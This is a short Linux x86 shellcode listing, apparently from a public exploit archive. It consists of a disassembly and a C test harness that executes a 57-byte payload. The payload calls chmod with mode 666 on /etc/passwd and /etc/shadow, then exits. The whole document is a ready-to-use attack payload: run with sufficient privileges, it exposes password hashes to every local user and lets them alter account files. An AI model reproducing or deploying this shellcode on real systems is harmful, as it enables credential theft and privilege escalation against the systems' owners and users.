/*
Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 66 b9 b6 01 mov $0x1b6,%cx
8048066: 50 push %eax
8048067: 68 73 73 77 64 push $0x64777373
804806c: 68 2f 2f 70 61 push $0x61702f2f
8048071: 68 2f 65 74 63 push $0x6374652f
8048076: 89 e3 mov %esp,%ebx
8048078: b0 0f mov $0xf,%al
804807a: cd 80 int $0x80
804807c: 31 c0 xor %eax,%eax
804807e: 50 push %eax
804807f: 68 61 64 6f 77 push $0x776f6461
8048084: 68 2f 2f 73 68 push $0x68732f2f
8048089: 68 2f 65 74 63 push $0x6374652f
804808e: 89 e3 mov %esp,%ebx
8048090: b0 0f mov $0xf,%al
8048092: cd 80 int $0x80
8048094: 31 c0 xor %eax,%eax
8048096: 40 inc %eax
8048097: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64"
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
"\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77"
"\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3"
"\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}